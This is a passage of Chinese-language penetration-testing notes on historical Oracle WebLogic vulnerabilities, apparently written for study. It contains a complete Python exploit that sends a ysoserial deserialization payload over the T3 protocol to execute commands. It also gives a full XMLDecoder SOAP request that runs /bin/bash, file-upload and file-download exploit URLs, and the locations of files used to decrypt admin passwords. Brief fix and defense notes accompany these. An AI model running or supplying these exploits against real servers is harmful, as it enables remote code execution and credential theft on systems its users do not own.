weblogic

历史漏洞

反序列化

CVE-2015-4852&CVE-2016-0638(没试)

基于weblogic t3 协议引起远程代码执行的反序列化

RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。

t3协议特点

1.心跳包机制,60秒一次,240秒未收到心跳判定与客户端连接丢失

2.建立一次连接可以将全部数据包传输完成,优化了数据包的大小和网络消耗

请求包头

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

image-20230627021143866

返回的内容中HELO后面有版本号

分析序列化数据看不懂,跳过

漏洞复现
  1. 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  2. 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功

from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
# 1.占位保证总长度计算正确
header = binascii.a2b_hex(b"00000000")
# 2.固定的T3协议头
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
# 3.weblogic反序列化数据的标签
desflag = binascii.a2b_hex(b"fe010000")
# 4.跟ysoserial生成的payload拼接起来
payload = header + t3header +desflag+ payload
# 5.计算出长度替换掉用来占位的字符,也就是前四位
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)

if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)

查看容器的/tmp目录发现创建了success文件

再回来看看poc,这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。

  • 数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去
  • T3协议头是固定的,直接硬编码进去就行
  • 反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial生成的序列化数据
修复

resolveclass方法的作用是将类的序列化描述符加工成该类的class对象

​ Weblogic对CVE-2015-4852的修复措施是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤,黑名单过滤了CommonCollections

​ 开放在外网的情况下,可以采用web代理和负载均衡,web代理的方式只能转发http请求,而不会转发推协议的请求,负载均衡的情况下,可以指定需要负载均衡的协议类型,这里可以设置为http的请求,不接受其他的协议请求转发,这也是在外网见到T3协议漏洞比较少的原因之一

CVE-2016-3510

基于weblogic t3 协议引起远程代码执行的反序列化

CVE-2017-3248

基于weblogic t3 协议引起远程代码执行的反序列化,属于weblogic JRMP反序列化

CVE-2018-2628&CVE-2018-2893

影响版本

10.3.6.0

12.1.3.0

12.2.1.2

12.2.1.3

复现

方法一 : nmap -n -v -p 7001 127.0.0.1 –script weblogic-t3-info

image-20230625050146188

基于weblogic t3 协议引起远程代码执行的反序列化,属于weblogic JRMP反序列化

CVE-2023-21839

由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行

https://xz.aliyun.com/t/12297

影响范围
  • WebLogic_Server = 12.2.1.3.0
  • WebLogic_Server = 12.2.1.4.0
  • WebLogic_Server = 14.1.1.0.0

poc构造

使用main方法创建了一个getInitialContext方法并使用getInitialContext方法,创建初始上下文并使用T3协议与WebLogic服务器连接,然后创建了一个weblogic.deployment.jms.ForeignOpaqueReference类的实例并通过反射机制访问私有字段以设置远程JNDI名称,并将其绑定到WebLogic服务器上的”bind”命名对象,导致命令执行漏洞。

任意文件上传

CVE-2018-2894

访问http://your-ip:7001/ws_utc/config.do ,上传,返回包里有时间戳,一会会作为文件名使用

访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

修复

设置config.do页面登陆授权后访问

ips等防御产品可加入相应的特征

升级到官方最新版本

xmldecoder反序列化

CVE-2017-3506&CVE-2017-10271

weblogic wls组件中存在xmldecoder远程代码执行漏洞,可以构造请求对运行的weblogic中间件进行攻击

影响版本
  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0
  • WebLogic 12.2.1.1
  • WebLogic 12.2.1.2
漏洞地址
[*] wls-wsat组件路径(url路径):

/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

CVE-2017-3506`修补方案为采用黑名单机制禁用了object标签,这简直不要太好绕,所以CVE-2017-10271来了。

绕过就是把object标签改为void标签就行了,因为从代码层面来看,void和object的handler因为是父子类关系,所以逻辑是高度相同的。

# 对weblogic路由  http://xxx:7001/wls-wsat/CoordinatorPortType 发送如下数据包

# 修改请求头 content-type: text/xml
# 请求数据为:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping 127.0.0.1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

需要修改java版本,调用类,0,1,2的参数

CVE-2017-10271的补丁则是继续把黑名单补全,可见除了object,还有method,new,array等标签都被做了处理。 object,new,method标签直接被ban,void属性只能设置index,array的class只能设置为byte类型。

使用class标签构造类,但是由于限制了method函数,无法进行函数调用,只能从构造方法下手,且参数为基本类型:

  • 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
  • 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
  • 构造函数直接有执行命令的操作,执行命令可控。
  • 有其它的可能导致rce的操作,比如表达式注入之类的。

目前存在的利用链有:

  • FileSystemXmlApplicationContext-RCE
  • UnitOfWorkChangeSet-RCE
  • ysoserial-jdk7u21-RCE
  • JtaTransactionManager-JNDI注入

任意文件下载

http://127.0.0.1:7001/hello/file.jsp?path=

读取后台用户密码

weblogic密码使用AES加密,只需要找到用户的密文和加密是的密钥

这两个文件均位于base_domain下,名为serializedSystemIni.dat和config.xml

在本环境中为./security/serializedSystemIni.dat和./config/config/xml

SSRF

cve-2014-4210

影响范围

10.0.2

10.3.6

漏洞地址

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

提交的时候 operator参数可控,存在ssrf

image-20230625043902969

image-20230625045221646